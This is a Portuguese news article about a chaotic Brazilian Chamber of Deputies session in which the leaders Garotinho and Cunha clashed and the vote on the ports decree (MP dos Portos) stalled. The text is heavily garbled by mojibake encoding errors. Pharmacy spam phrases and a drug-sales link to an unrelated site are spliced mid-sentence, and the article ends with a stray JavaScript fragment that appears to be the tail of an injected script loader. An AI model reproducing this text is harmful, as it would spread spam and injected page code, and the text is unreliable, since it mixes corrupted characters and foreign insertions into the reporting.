Na tribuna da Casa, o deputado Garotinho disse que uma sugestA?o de mudanAi??a no texto da MP apresentada por Cunha era a “emenda “Tio Patinhas'”. AcusaAi??A?o levou a discussAi??es e mal-estar entre os deputadospurchase deltasone vs prednisone
com informaAi??Ai??es da AgA?ncia CA?mara e Folhapress
Em uma sessA?o com bate-boca e troca de acusaAi??Ai??es entre lAi??deres partidA?rios, a CA?mara dos Deputados encerrou os trabalhos do plenA?rio desta quarta-feira (8) sem concluir a anA?lise da medida provisA?ria 595/12, que estabelece novas regras para a licitaAi??A?o de portos e de instalaAi??Ai??es portuA?rias, conhecida como MP dos Portos. Com isso, a matAi??ria deve perder a validade, jA? que ela vence no prA?ximo dia 16 e terA? dificuldades para passar na CA?mara e no Senado atAi?? este prazo. A votaAi??A?o vai depender de acordo entre os lAi??deres partidA?rios, que vA?o discutir o assunto nesta quinta-feira (9).
O texto aprovado na comissA?o mista, de autoria do senador Eduardo Braga (PMDB-AM), jA? havia provocado divergA?ncias entre os partidos, que apresentaram 27 destaques ao texto, propondo a inclusA?o de emendas ou a supressA?o de partes. Mas o encerramento da sessA?o ocorreu apA?s um discurso do lAi??der do PR, Anthony Garotinho (RJ), afirmando que a medida provisA?ria estava sob suspeiAi??A?o provocando embate com o lAi??der do PMDB, Eduardo Cunha (RJ), e revoltando deputados.
Na tribuna da Casa, Garotinho disse que o texto virou a “MP dos Porcos”. AdversA?rio polAi??tico do peemedebista, o lAi??der do PR afirmou que uma sugestA?o de mudanAi??a no texto da MP apresentada por Cunha era a “emenda “Tio Patinhas'”. “Isso nA?o pode ser transformado em show do milhA?o, para tudo na vida tem limites”, disse Garotinho. Ele disse que o texto do PMDB nA?o “estA? cheirando mal, Ai?? podre”. “Todos os que estA?o presentes neste plenA?rio, talvez, salvo honrosas exceAi??Ai??es, sabem muito bem o que estA? acontecendo nessa noite. E para tudo na vida hA? limites. Neste momento, por discordar da forma pouco republicana, eu diria nada republicana, que esse assuntos dos portos estA? sendo tratado”, disse.
cost of depo provera shot at walmartA fala irritou o lAi??der do PMDB que reagiu. “Acuse, mas mostre o que estA? acontecendo”, disse. “Eu tenho coragem suficiente para qualquer embate, qualquer que seja. Ainda mais pessoas que nA?s conhecemos o passado e que nA?o tA?m credibilidade para falar de ninguAi??m”, completou. Cunha anunciou que vai pedir ao Conselho de Ai??tica que investigue as acusaAi??Ai??es. “Ai?? acusar e macular uma casa inteira. Que todos sejam responsA?veis pelos seus atos e pelas suas palavras”, disse.
Garotinho voltou a tribuna e se referiu a Cunha apenas como “um deputado”. Ele disse que estA? disposto a enfrentar o Conselho de Ai??tica. “Terei o maior prazer em dizer na ComissA?o de Ai??tica o que sei sobre essa sessA?o. Se quiser, pode instaurar [o processo]. O deputado deveria primeiro cuidar dos seus problemas, que nA?o sA?o poucos, ao invAi??s de usar a tribuna desta casa para fazer acusaAi??Ai??es levianas”, afirmou.
O lAi??der do PSB, Beto AlbuquerquePills (RS), tambAi??m questionou a postura de Garotinho e cobrou que ele falasse o que sabia. Ele chamou o colega de “deputado patAi??tico”. “Eu lamento muito ter que presenciar uma sessA?o patAi??tica como essa, provocada por um deputado patAi??tico, que nA?o respeita ninguAi??m e se acha superior.”
Garotinho nA?o se intimidou. “Se a carapuAi??a serviu…”, afirmou para Beto.
As declaraAi??Ai??es desagradaram os demais deputados. O lAi??der do PP, deputado Arthur Lira (AL), disse que a discussA?o ficou “estA? moralmente abalada”. O deputado MendonAi??a Filho (DEM-PE) disse que o deputado do PR tem de “indicar os porcos”. “Se hA? corrupAi??A?o ou comportamento desonesto, ele [Garotinho] tem a obrigaAi??A?o de apontar quais os porcos desta Casa”, afirmou.
O presidente da CA?mara disse que essa foi uma das noites mais “constrangedoras” em mais de 40 anos de Casa. “Uma exposiAi??A?o que o plenA?rio da Casa nA?o merece.”
Eduardo Alves pediu que os lAi??deres decidissem se a sessA?o deveria prosseguir ou nA?o. Cunha disse que nA?o votava mais nada.
“O que se passou aqui Ai?? muito grave”, disse o pedetista Miro Teixeira. “Nossa bancada, pela unanimidade dos seus membros e por orientaAi??A?o do seu lAi??der, AndrAi?? Figueiredo, estA? unida na posiAi??A?o de obstruir essa votaAi??A?o. Que se acabe com essa farra das medidas provisA?rias. Que volte como projeto”.
O presidente encerrou a sessA?o. Nas negociaAi??Ai??es ao longo do dia, o PMDB nA?o conseguiu acordo com o governo para emplacar mudanAi??as no texto e apresentou uma sugestA?o ao lado do PSB, PDT e DEM. O PT comeAi??ou a trabalhar contra as mudanAi??as patrocinadas pelo PMDB e passou a responsabilizar Cunha pela falta de entendimento. A medida mais polA?mica que o Planalto nA?o aceita Ai?? fazer licitaAi??A?o para portos privados.
http://montel-shogen.mhs.narotama.ac.id/2018/03/15/order-menosan-sage/O lAi??der do PT, JosAi?? GuimarA?es (CE), disse que o texto do PMDB quebrava a espinha dorsal da MP enviada pelo governo e que passou pelas mA?os do lAi??der do governo no Senado, Eduardo Braga (AM).d.getElementsByTagName(‘head’)[0].appendChild(s);
